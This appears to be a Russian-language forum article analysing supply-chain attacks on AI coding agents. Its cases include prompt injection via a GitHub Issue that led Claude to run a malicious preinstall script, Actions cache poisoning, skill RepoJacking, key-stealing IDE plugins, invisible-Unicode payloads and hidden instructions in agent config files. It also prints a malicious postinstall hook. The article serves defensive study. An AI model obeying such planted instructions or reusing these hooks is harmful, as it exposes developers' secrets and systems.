26 августа 2025 года postinstall-payload в npm-пакете Nx - сборочной системе с 6 миллионами установок в неделю - сделал нечто, чего раньше в supply chain инцидентах не встречалось: обнаружив на рабочей станции разработчика CLI Claude, Gemini и Amazon Q, он дал каждому команду собрать inventory-файл с секретами и отправил результат атакующему. Пять месяцев спустя, 9 февраля 2026 года, заголовок GitHub Issue запустил цепочку из пяти уязвимостей в репозитории Cline, а 17 февраля она была проэксплуатирована - за восемь часов около 4000 разработчиков получили на машины AI-агент OpenClaw с полным shell-доступом. Supply chain атаки на AI-агентов больше не требуют кастомных имплантов: агент - одновременно цель, средство доставки и C2-канал.
Бизнес-логика supply chain атак на AI-агентов
Прежде чем разбирать kill chain - зачем атакующему целить именно в AI agent marketplace, когда npm и PyPI и так завалены вредоносными пакетами? Подробнее - в нашем материале про атаки на цепочку поставок.Credential density. Рабочая станция разработчика с AI-инструментами - это jackpot: API-ключи LLM-провайдеров, npm/PyPI registry tokens, GitHub PAT и cloud credentials лежат в одном месте. По данным Verizon DBIR 2025, 38% утечек связаны с кражей учётных данных. IBM X-Force Threat Intelligence Index 2025 фиксирует 71% рост атак с использованием действительных credentials год к году - порядка 6000 свежих записей всплывают в dark web ежедневно. CrowdStrike Global Threat Report 2025 даёт ещё жёстче: 75% вторжений в 2024 году использовали действительные учётные данные, среднее время lateral movement после initial access - 62 минуты (рекорд: 51 секунда). Но в supply chain атаках на AI-агентов украденный npm-токен или GitHub PAT даёт immediate access без lateral movement - атакующий уже внутри доверенного периметра.
AI API-ключи как валюта. Украденный ключ OpenAI/Anthropic/DeepSeek - это три в одном: inference за счёт жертвы, доступ к содержимому запросов (включая корпоративные данные в RAG-контексте) и перепродажа credentials. По данным CSA, в кампании с поддельными JetBrains-плагинами украденные ключи бесплатных пользователей перепродавались как «платный» сервис того же плагина - монетизация и depletion бюджета жертвы одновременно.
Парадигма «AI устанавливает AI». В традиционных supply chain атаках payload - криптомайнер, RAT или стилер. Detection-инструменты заточены на их сигнатуры. В Clinejection payload - легитимный npm-пакет OpenClaw, зарегистрированный в реестре, без malware-сигнатур. Это AI-агент с command execution, file system access и web browsing, который для EDR выглядит как обычный developer tool. Инцидент с Nx пошёл дальше: вредоносный код не устанавливал собственный стилер, а давал команды уже установленным AI CLI. Цепочка инфекции стала рекурсивной: malicious code → AI tool → secret harvesting → exfiltration. Как сформулировал исследователь Yuval Zacharia: «Агент - это имплант, а plain text - протокол». Красиво и точно.
Kill chain: от prompt injection до перехвата npm и GitHub пакетов
Угон GitHub-аккаунтов через prompt injection в Cline
Cline - AI-расширение для VS Code с 5+ миллионами пользователей (данные Snyk). В декабре 2025 мейнтейнеры добавили workflow автосортировки Issues через Anthropicclaude-code-action. Конфигурация содержала два фатальных решения:allowed_non_write_users: "*"- любой пользователь GitHub мог триггернуть workflow открытием Issue--allowedTools "Bash,Read,Write,Edit,..."- Claude получил произвольное выполнение кода на runner
Атакующий создавал Issue с заголовком, замаскированным под benchmark-отчёт, с инструкциями переопределения поведения Claude. Заголовок включал ссылку на «dangling commit» - и тут начинается самое интересное. GitHub не удаляет commit objects при удалении форка - они остаются доступны по SHA через URL родительского репозитория. Атакующий создаёт форк, пушит вредоносный коммит, получает SHA, удаляет форк. Ссылка
github:cline/cline#<SHA> ведёт на коммит через легитимный URL Cline. Claude не имеет механизма отличить коммит мейнтейнера от коммита удалённого форка - для модели это просто reference в контексте.Коммит подменял
package.json вредоносным preinstall-скриптом. Claude выполнял npm install через Bash-инструмент - скрипт срабатывал автоматически. По данным Snyk, Claude «с радостью выполнял payload во всех тестовых попытках» на зеркале репозитория. Ну а чего - его же попросили.Предусловия: Cline с
claude-code-action workflow на default-ветке, allowed_non_write_users: "*", Bash/Write/Edit в allowedTools. Техника по MITRE ATT&CK: T1195.001 - Compromise Software Dependencies and Development Tools (Initial Access).Кража credentials LLM через cache poisoning
Prompt injection скомпрометировал runner triage-workflow, но тот не имел доступа к секретам публикации. Для lateral movement к release pipeline атакующий использовал cache poisoning в GitHub Actions.Ключевое свойство (и, на мой взгляд, архитектурный просчёт): любой workflow на default-ветке читает и пишет в shared Actions cache, даже если явно кеширование не использует. Triage-workflow разделял cache scope с nightly release workflow. Исследователь Адnan Хан разработал инструмент Cacheract, автоматизирующий атаку:
- Из triage-workflow заполнить кеш >10 ГБ мусора - LRU-eviction легитимных записей
- Установить отравленные записи с ключами nightly workflow
- Cacheract перехватывает post-step
actions/checkoutи сохраняет персистентность между запусками - Nightly publish workflow (~2:00 UTC) восстанавливает отравленный
node_modules - Произвольный код выполняется с доступом к
NPM_RELEASE_TOKEN,VSCE_PAT,OVSX_PAT
cline, общему между nightly и production. Один токен - два окружения. Классика.9 февраля 2026 Хан опубликовал findings. Cline исправил за 30 минут: убрали AI triage workflows, удалили потребление кеша из publish workflows, ротировали credentials. Но ротация оказалась неполной - был отозван не тот токен. 17 февраля неизвестный актор использовал валидный npm-токен для публикации
cline@2.3.0:
JSON:
{
"scripts": {
"postinstall": "npm install -g openclaw@latest"
}
}
package.json. За 8 часов - около 4000 загрузок. Ни npm audit, ни code review, ни provenance attestation не детектировали атаку. После инцидента Cline перешёл на OIDC provenance через GitHub Actions, устранив long-lived static tokens.MITRE ATT&CK: T1195.002 - Compromise Software Supply Chain (Initial Access), T1552.001 - Credentials In Files (Credential Access), T1078 - Valid Accounts (Persistence через stolen token), T1567.001 - Exfiltration to Code Repository.
Уязвимости AI marketplace: угон GitHub username в экосистеме LLM-навыков
Clinejection - атака на конкретный проект. Но supply chain атаки на AI-агентов имеют системную поверхность, которую русскоязычные источники почти не освещают: GitHub username hijacking (RepoJacking) в маркетплейсах навыков.AI-агентные фреймворки хранят skill-файлы со ссылками на GitHub-репозитории конкретных пользователей. Пользователь переименовал или удалил аккаунт - старый username свободен. Атакующий регистрирует его, создаёт одноимённый репозиторий и подменяет содержимое навыка. По данным исследования, обсуждавшегося в security-сообществе (r/netsec; источник не верифицирован независимо), порядка 121 skill-файла в 7 репозиториях AI-агентных фреймворков предположительно оказались уязвимы к username hijacking - причём 5 различных сканеров разошлись в оценке на порядок, что показывает незрелость области детектирования. Это T1199 - Trusted Relationship (Initial Access, MITRE ATT&CK): фреймворк доверяет skill-файлу, skill ссылается на GitHub-репозиторий, репозиторий принадлежит атакующему.
Проблема не нова: ранние исследования RepoJacking фиксировали более 1300 потенциально уязвимых GitHub-репозиториев в пакетных менеджерах. В AI-навыках она масштабируется: фреймворки подтягивают skills динамически, без pinning на SHA коммита и без проверки continuity ownership аккаунта.
Количественная картина от Phoenix Security (по данным их публикации о сканировании 3267 AI-agent skills, 24 мая 2026; независимо не верифицировано): более 1 из 4 навыков срабатывают на critical-risk finding; риск AI-agent skills оценён в 2.3 раза выше, чем у IDE-расширений; наиболее частые детекции - shell command execution + network egress в одном модуле. В числе critical оказались skills из репозиториев с 97,000+ звёзд. Популярность - не сигнал безопасности.
Масштаб ускоряется. По данным Phoenix Security (без независимой верификации), первая половина 2026 дала 37 кампаний и 497 индексированных вредоносных пакетов - 2.6x по кампаниям и 4.5x по объёму пакетов относительно всего 2025 года. В мае 2026 за 31 день прошло 14 кампаний и 346 пакетов - больше, чем за предыдущие четыре месяца вместе. Основной драйвер - автоматизация: один self-propagating worm event предположительно сгенерировал 226 из 346 пакетов без ручного вмешательства между хопами. Червь размножается сам - люди уже не нужны.
Атаки на экосистему LLM-навыков через IDE и MCP-серверы
Кража credentials LLM через поддельные IDE-плагины
По данным CSA (июнь 2026), три координированные кампании действовали с октября 2025 по июнь 2026: поддельные AI-ассистенты в JetBrains Marketplace, самораспространяющийся червь GlassWorm и компрометация Nx Console.JetBrains-кампания. Минимум 15 вредоносных плагинов, ~70,000 установок через 7 vendor-аккаунтов. Каждый - рабочий AI coding assistant (DeepSeek, OpenAI, SiliconFlow). При вводе API-ключа в настройках плагин одновременно сохранял его локально и отправлял POST-запросом на C2-сервер по plaintext HTTP. Два лидера: DeepSeek AI Assist (~27,700 загрузок), CodeGPT AI Assistant (~25,570). Трафик маскировался под нормальный LLM API-вызов - естественное прикрытие для эксфильтрации. Красивый фантик, а внутри - стилер.
GlassWorm (октябрь 2025, Koi Security). Минимум 35,000 установок через VS Code Marketplace и OpenVSX Registry. Техническая фишка - невидимые Unicode-символы (variation selectors и Private Use Area characters) для встраивания вредоносного кода. При визуальной инспекции и diff-ревью код выглядит как пустые строки. C2-инфраструктура использовала четыре канала одновременно: memo-поля транзакций Solana blockchain (immutable ledger), BitTorrent DHT, заголовки событий Google Calendar (Base64-encoded C2-пути) и VPS-серверы. Децентрализованные каналы делают takedown существенно сложнее стандартных кампаний с одним C2-доменом. Тут я снимаю шляпу перед инженерной мыслью - четыре разнородных канала C2 это серьёзная работа.
VS Code Marketplace за 18 месяцев прошёл от нулевой вредоносной активности до 7 задокументированных кампаний. ReversingLabs зафиксировали рост детектов с 27 в 2024 до 105 за первые 10 месяцев 2025.
MCP как вектор supply chain attack LLM
Model Context Protocol (MCP) - JSON-RPC протокол для вызова внешних инструментов AI-агентами. Контроль над MCP-сервером = контроль над действиями агента. Просто.CVE-2024-7110 (GitLab EE 17.0–17.1.6, 17.2 до 17.2.4, 17.3 до 17.3.1; CVSS 6.4 MEDIUM; CWE-77). AI-функция исправления уязвимостей формировала запрос к LLM из полей SAST-отчёта без валидации. По данным стороннего анализа, command injection предположительно через поле
identifiers[].name. Разработчик нажимал «Исправить уязвимости» - модель добавляла управляемые атакующим команды в merge request - пайплайн выполнял. CVSS-вектор: AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N - нужны низкие привилегии и действие пользователя, при успехе полная компрометация confidentiality и integrity.CVE-2025-53773 (GitHub Copilot / Visual Studio 2022; CVSS 7.8 HIGH; CWE-77). Command injection, позволяющий неавторизованному атакующему выполнить код локально. Вектор: AV:L/AC:L/PR:N/UI:R - локальная атака без привилегий, но нужно действие пользователя.
Оба CVE - один и тот же архитектурный дефект: LLM одновременно обрабатывает данные и управляющие команды без чёткой границы между ними. Von Neumann architecture problem, только уровнем выше.
TrapDoor - пожалуй, самая изящная кампания в этом кластере. Атакующий встраивал скрытые инструкции в конфигурационные файлы AI coding assistants (
.cursorrules, CLAUDE.md) через zero-width Unicode characters. Для разработчика файл выглядел пустым или содержащим стандартную конфигурацию. AI-ассистент читал невидимые инструкции и выполнял их как часть нормальной работы - запуск якобы «security scan», на деле harvesting secrets. AI не скомпрометирован - он используется exactly as designed, но против разработчика. Кампания открывала pull requests в browser-use/browser-use, langchain-ai/langchain и langflow-ai/langflow. Miasma Wave 2 одновременно дропала backdoor-конфиги для Claude Code, Cursor AI и Google Gemini. По данным Phoenix Security, минимум 14 из 59 отслеживаемых supply chain кампаний за два года использовали AI agent tooling как вектор доставки.Безопасность агентных систем: детектирование supply chain атак на AI-агентов
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Аудит AI-agent skills. Валидация существования GitHub-аккаунта и непрерывности ownership для каждого skill-файла. Детекция shell execution + network egress в одном модуле. Инспекция Unicode-контента на невидимые символы - variation selectors, Private Use Area characters. Тот же GlassWorm прятал код в пустых строках, и стандартный
diff его не показывал.Проблема нулевого CVE. Ни одна из 59 кампаний в корпусе Phoenix Security не имела CVE-идентификатора на момент активной эксплуатации. Весь pipeline - от vulnerability scanner через prioritization и patching до validation - построен на наличии CVE. Нет CVE → нет записи в NVD → нет алерта в Snyk/Trivy/Dependabot → нет тикета в Jira. Вредоносный пакет - это не vulnerability в зависимости, а целенаправленное внедрение. Традиционный vulnerability management тут слеп. Единственная рабочая модель - behavioral detection: мониторинг того, что код делает в runtime, а не того, какой у него CVE.
На практике вижу устойчивый разрыв: команды, вкладывающие в SAST/DAST и dependency scanning, продолжают игнорировать два вектора - IDE-расширения, обновляющиеся без lockfile enforcement, и AI-agent skills, подтягиваемые из GitHub без проверки ownership. Первый вектор дал GlassWorm 35,000 установок через VS Code Marketplace. Второй - 121 уязвимый skill-файл в семи репозиториях, и это только просканированная часть.
Считаю, что индустрия стоит перед развилкой: или мы расширяем периметр security-контролей на IDE-плагины и AI-agent skills с той же серьёзностью, с какой контролируем production dependencies, или получим серию Clinejection-подобных инцидентов с масштабом на порядок больше. Supply chain атаки на AI-агентов рискуют стать одним из основных векторов Initial Access для таргетированных атак на разработчиков в ближайший год. Не потому что техники новые - prompt injection, cache poisoning, typosquatting существуют давно. А потому что ноль CVE по 59 кампаниям за два года означает одно: модель «есть CVE - есть патч - есть алерт» здесь не работает. Единственное, что остаётся - runtime behavioral monitoring и жёсткий контроль trust boundaries для всего, что имеет доступ к shell. Если хочешь повторить цепочку от prompt injection до credential exfiltration в контролируемой инфре - аналогичный сценарий по supply chain есть на HackerLab.